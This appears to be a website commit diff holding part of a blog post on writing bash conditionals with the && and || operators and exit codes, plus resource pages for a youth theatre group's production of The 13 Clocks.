||||
|
||||
# or
|
||||
if [ expression ]; then command; fi
|
||||
```
|
||||
|
||||
Ughh. Let's improve!
|
||||
|
||||
<!-- more -->
|
||||
|
||||
## Control operators
|
||||
Bash provides [control operators][control-operators] to build sequences of
|
||||
commands.
|
||||
Some of these are conditional and allow logical branching based on the success
|
||||
state of the last run command.
|
||||
|
||||
We will just focus on these two logical operators:
|
||||
- `&&`: the AND operator, run the following command only if previous succeeded
|
||||
- `||`: the OR operator, run the following command only if previous failed
|
||||
|
||||
## Exit codes
|
||||
You might wonder how bash considers whether a command succeeded.
|
||||
This is where [exit codes][exit-status] come in.
|
||||
When a program exits a numeric status code is returned.
|
||||
A value of `0` means the program succeeded, any other value means it failed.
|
||||
|
||||
The exit code is normally hidden.
|
||||
The status of the last run command is stored in the `?` variable.
|
||||
You may inspect it by invoking:
|
||||
|
||||
```bash
|
||||
echo $?
|
||||
```
|
||||
|
||||
E.g., listing with `ls` normally returns `0`, but this value differs if the
|
||||
directory doesn't exist or if an error occurred.
|
||||
|
||||
```bash
|
||||
ls ~/ # exit code: 0
|
||||
ls ~/nonexistent # exit code: 2
|
||||
```
|
||||
|
||||
This will function similarly to almost any program.
|
||||
|
||||
## Chaining commands
|
||||
Let's go over some examples to show how these control operators can be used.
|
||||
|
||||
Imagine you want to [source][bash-source] the `~/.profile` file, but only if it
|
||||
is readable:
|
||||
|
||||
```bash
|
||||
if [ -r ~/.profile ]; then
|
||||
source ~/.profile
|
||||
fi
|
||||
```
|
||||
|
||||
We can simplify this using control operators:
|
||||
|
||||
```bash
|
||||
[ -r ~/.profile ] && . ~/.profile
|
||||
```
|
||||
|
||||
Only if the readability check expression is truthful/succeeds, we want to source
|
||||
the file, so we use the `&&` operator.
|
||||
|
||||
<br>
|
||||
|
||||
To require invoking user to be root, we can do the following:
|
||||
|
||||
```bash
|
||||
[ $EUID -ne 0 ] && echo You must be root && exit 1
|
||||
```
|
||||
|
||||
The `echo` command exists with `0`, so this propagates to `exit` if the
|
||||
first expression is truthful.
|
||||
|
||||
<br>
|
||||
|
||||
If we'd like to print our profile file contents with a success message,
|
||||
or an error message on reading failure, we can do the following:
|
||||
|
||||
```bash
|
||||
cat ~/.profile && echo This is your profile || echo Failed to read profile
|
||||
```
|
||||
|
||||
<br>
|
||||
|
||||
You can make these command sequences as long as you want. Useful for
|
||||
building install scripts that go through a series of steps. You could define
|
||||
bash functions for each step and orchestrate the installation like this:
|
||||
|
||||
```bash
|
||||
init && configure && install && cleanup || echo Install failed
|
||||
```
|
||||
|
||||
Or format it differently to make long sequences better readable:
|
||||
|
||||
```bash
|
||||
init &&
|
||||
configure &&
|
||||
install &&
|
||||
cleanup ||
|
||||
echo Install failed
|
||||
```
|
||||
|
||||
## Nice to know
|
||||
There are [many][bash-control-operators] more control operators,
|
||||
including list terminators, pipe operators, and others.
|
||||
|
||||
The `[` (commonly used in if-statements) isn't just a shell feature.
|
||||
It is a binary on Unix-like systems, usually located at `/usr/bin/[`,
|
||||
so it can be used anywhere.
|
||||
It returns the exit code `0` if the expression was truthful.
|
||||
|
||||
You can chain multiple `[ expr ] && [ expr ]` expressions together, they are
|
||||
commands after all.
|
||||
|
||||
Bash also has `[[`, which is
|
||||
[different](https://stackoverflow.com/q/13542832/1000145) from `[`.
|
||||
|
||||
You can wrap multiple commands with `{ expr; }` to run it as single expression in
|
||||
your command chain. For example:
|
||||
|
||||
```bash
|
||||
[ $EUID -ne 0 ] && { echo You must be root; exit 1; }
|
||||
```
|
||||
|
||||
The `true` and `false` commands do nothing more than returning `0` or `1`.
|
||||
|
||||
Bash features [parameter expression][bash-param-exp].
|
||||
You can use `${EDITOR:=nvim}` to set the `EDITOR` variable to `nvim` only if
|
||||
it is empty, so you won't even need conditionals.
|
||||
|
||||
Most other shells support similar operators. [fish][fish] uses `; and` and `;
|
||||
or`, but now [supports][fish-and-and] `&&` and `||` as well in modern versions.
|
||||
|
||||
`$_` (or `Alt+.`) is your last used argument (noted by [@Diti](https://lobste.rs/s/nao13f/elegant_bash_conditionals#c_brp038)).
|
||||
For example:
|
||||
|
||||
```bash
|
||||
test -f "FILE" && source "$_" || echo "$_ does not exist" >&2
|
||||
```
|
||||
|
||||
A function or script returns the exit code of the last expression. If your last
|
||||
expression is a command chain as described in this article, you might have an
|
||||
unexpected exit code. See
|
||||
[this](https://www.reddit.com/r/linux/comments/lw0ofg/elegant_bash_conditionals/gpf1lr0/)
|
||||
comments.
|
||||
|
||||
## Closing thoughts
|
||||
These command sequences with control operators are an elegant alternative for
|
||||
simple if-statements. I think they look much better and are more expressive
|
||||
looking at conditional logic.
|
||||
|
||||
But, don't overuse them. For bigger statements or advanced branching, you should
|
||||
fall back to if-statements.
|
||||
|
||||
I hope this article motivates you to make your shell scripts a little more
|
||||
elegant in the future by using these operators.
|
||||
|
||||
[bash-control-operators]: https://unix.stackexchange.com/a/159514/61092
|
||||
[bash-source]: https://bash.cyberciti.biz/guide/Source_command
|
||||
[bash-param-exp]: https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html#Shell-Parameter-Expansion
|
||||
[control-operators]: https://www.gnu.org/software/bash/manual/html_node/Definitions.html#Definitions
|
||||
[exit-status]: https://en.wikipedia.org/wiki/Exit_status
|
||||
[fish]: https://fishshell.com/
|
||||
[fish-and-and]: https://github.com/fish-shell/fish-shell/issues/4620
|
|
@ -8,10 +8,14 @@ zenn_hide_header_meta = true
|
|||
|
||||
You'll need to look for updates about the project over on [Blube Chat][chat].
|
||||
|
||||
To download an editable version of the script, click [here][script]. For a pdf script, click [here][pdfscript]. I will be changing it as we rehearse; feel free to make your own copy, format and edit as you please, take out the scenes you're not in, and print. Make sure to have it printed by our first rehearsal.
|
||||
_I highly recommend that you redownload and print one of the updated scripts, either the pdf or editable version. I do not recommend using the ebook because it doesn't have my spelling corrections and formatting changes, as well as John instead of Jean and Bouf instead of Boeuf._
|
||||
|
||||
That's our only document for now; casting will be here soon.
|
||||
To download an editable version of the script, click [here][script]. For a pdf script, click [here][pdfscript]. For an ebook version, click [here][epub]. I will be changing it as we rehearse; feel free to make your own copy, format and edit as you please, take out the scenes you're not in, and print. Make sure to have it printed by our first rehearsal.
|
||||
|
||||
[chat]: https://blube.club/chat
|
||||
[script]: script.odt
|
||||
[pdfscript]: script.pdf
|
||||
Casting is [here][casting]. Cheers!
|
||||
|
||||
[chat]: https://satchlj.com/chat
|
||||
[script]: script3.odt
|
||||
[pdfscript]: script3.pdf
|
||||
[epub]: script.epub
|
||||
[casting]: casting.pdf
|
||||
|
|
|
@ -0,0 +1,10 @@
|
|||
+++
|
||||
title = "The Young Shakespeare Players East"
|
||||
description = "I host some resources for the Young Shakespeare Players"
|
||||
|
||||
[extra]
|
||||
zenn_hide_header_meta = true
|
||||
+++
|
||||
|
||||
Click [here](audio) for the 13 Clocks audio files.
|
||||
Click [here](img) for the original 13 Clocks illustrations by Marc Simont.
|
|
@ -0,0 +1,22 @@
|
|||
+++
|
||||
title = "The Young Shakespeare Players East"
|
||||
description = "I host some resources for the Young Shakespeare Players"
|
||||
|
||||
[extra]
|
||||
zenn_hide_header_meta = true
|
||||
+++
|
||||
|
||||
## 13 Clocks Audio Files
|
||||
_He will slit you from your guggle to your zatch!_
|
||||
- [13 Clocks - Audio 01](01clocks.mp3)
|
||||
- [13 Clocks - Audio 02](02clocks.mp3)
|
||||
- [13 Clocks - Audio 03](03clocks.mp3)
|
||||
- [13 Clocks - Audio 04](04clocks.mp3)
|
||||
- [13 Clocks - Audio 05](05clocks.mp3)
|
||||
- [13 Clocks - Audio 06](06clocks.mp3)
|
||||
- [13 Clocks - Audio 07](07clocks.mp3)
|
||||
- [13 Clocks - Audio 08](08clocks.mp3)
|
||||
- [13 Clocks - Audio 09](09clocks.mp3)
|
||||
- All audio in one zip file: [13 Clocks - Audio Zip](audio.zip)
|
||||
|
||||
_Audio files © Richard DiPrima, Madison, Wisconsin._
|
|
@ -0,0 +1,42 @@
|
|||
+++
|
||||
title = "Marc Simont's Illustrations for Thurber's 'The 13 Clocks'"
|
||||
description = "Get a glimpse of the Golux's indescribable hat"
|
||||
|
||||
[taxonomies]
|
||||
categories = ["gallery"]
|
||||
tags = ["ysp", "shakespeare", "James Thurber", "The 13 Clocks", "literature", "theater", "art"]
|
||||
|
||||
[extra]
|
||||
zenn_hide_header_meta = true
|
||||
zenn_applause = true
|
||||
+++
|
||||
## Look at these gorgeous illustrations
|
||||
This is a great way to get a sense of your character's appearance and physicality, as well as Thurber and Simont's aesthetic.
|
||||
{{ fit_image(path="ysp/img/22clocksimg.jpg", url="/ysp/img/22clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/23clocksimg.jpg", url="/ysp/img/23clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/0clocksimg.jpg", url="/ysp/img/0clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/1clocksimg.jpg", url="/ysp/img/1clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/2clocksimg.jpg", url="/ysp/img/2clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/3clocksimg.jpg", url="/ysp/img/3clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/4clocksimg.jpg", url="/ysp/img/4clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/5clocksimg.jpg", url="/ysp/img/5clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/6clocksimg.jpg", url="/ysp/img/6clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/7clocksimg.jpg", url="/ysp/img/7clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/8clocksimg.jpg", url="/ysp/img/8clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/9clocksimg.jpg", url="/ysp/img/9clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/10clocksimg.jpg", url="/ysp/img/10clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/11clocksimg.jpg", url="/ysp/img/11clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/12clocksimg.jpg", url="/ysp/img/12clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/13clocksimg.jpg", url="/ysp/img/13clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/14clocksimg.jpg", url="/ysp/img/14clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/15clocksimg.jpg", url="/ysp/img/15clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/16clocksimg.jpg", url="/ysp/img/16clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/17clocksimg.jpg", url="/ysp/img/17clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/18clocksimg.jpg", url="/ysp/img/18clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/19clocksimg.jpg", url="/ysp/img/19clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/20clocksimg.jpg", url="/ysp/img/20clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/21clocksimg.jpg", url="/ysp/img/21clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/24clocksimg.jpg", url="/ysp/img/24clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/25clocksimg.jpg", url="/ysp/img/25clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/26clocksimg.jpg", url="/ysp/img/26clocksimg.jpg") }}
|
||||
{{ fit_image(path="ysp/img/27clocksimg.jpg", url="/ysp/img/27clocksimg.jpg") }}
|
After Width: | Height: | Size: 61 KiB |
After Width: | Height: | Size: 119 KiB |
After Width: | Height: | Size: 164 KiB |
After Width: | Height: | Size: 128 KiB |
After Width: | Height: | Size: 218 KiB |
After Width: | Height: | Size: 54 KiB |
After Width: | Height: | Size: 44 KiB |
After Width: | Height: | Size: 72 KiB |
After Width: | Height: | Size: 62 KiB |
After Width: | Height: | Size: 113 KiB |
After Width: | Height: | Size: 65 KiB |
After Width: | Height: | Size: 115 KiB |
After Width: | Height: | Size: 16 KiB |
After Width: | Height: | Size: 127 KiB |
After Width: | Height: | Size: 81 KiB |
After Width: | Height: | Size: 74 KiB |
After Width: | Height: | Size: 55 KiB |
After Width: | Height: | Size: 98 KiB |
After Width: | Height: | Size: 71 KiB |
After Width: | Height: | Size: 24 KiB |
After Width: | Height: | Size: 80 KiB |
After Width: | Height: | Size: 124 KiB |
After Width: | Height: | Size: 44 KiB |
After Width: | Height: | Size: 80 KiB |
After Width: | Height: | Size: 88 KiB |
After Width: | Height: | Size: 133 KiB |
After Width: | Height: | Size: 40 KiB |
After Width: | Height: | Size: 131 KiB |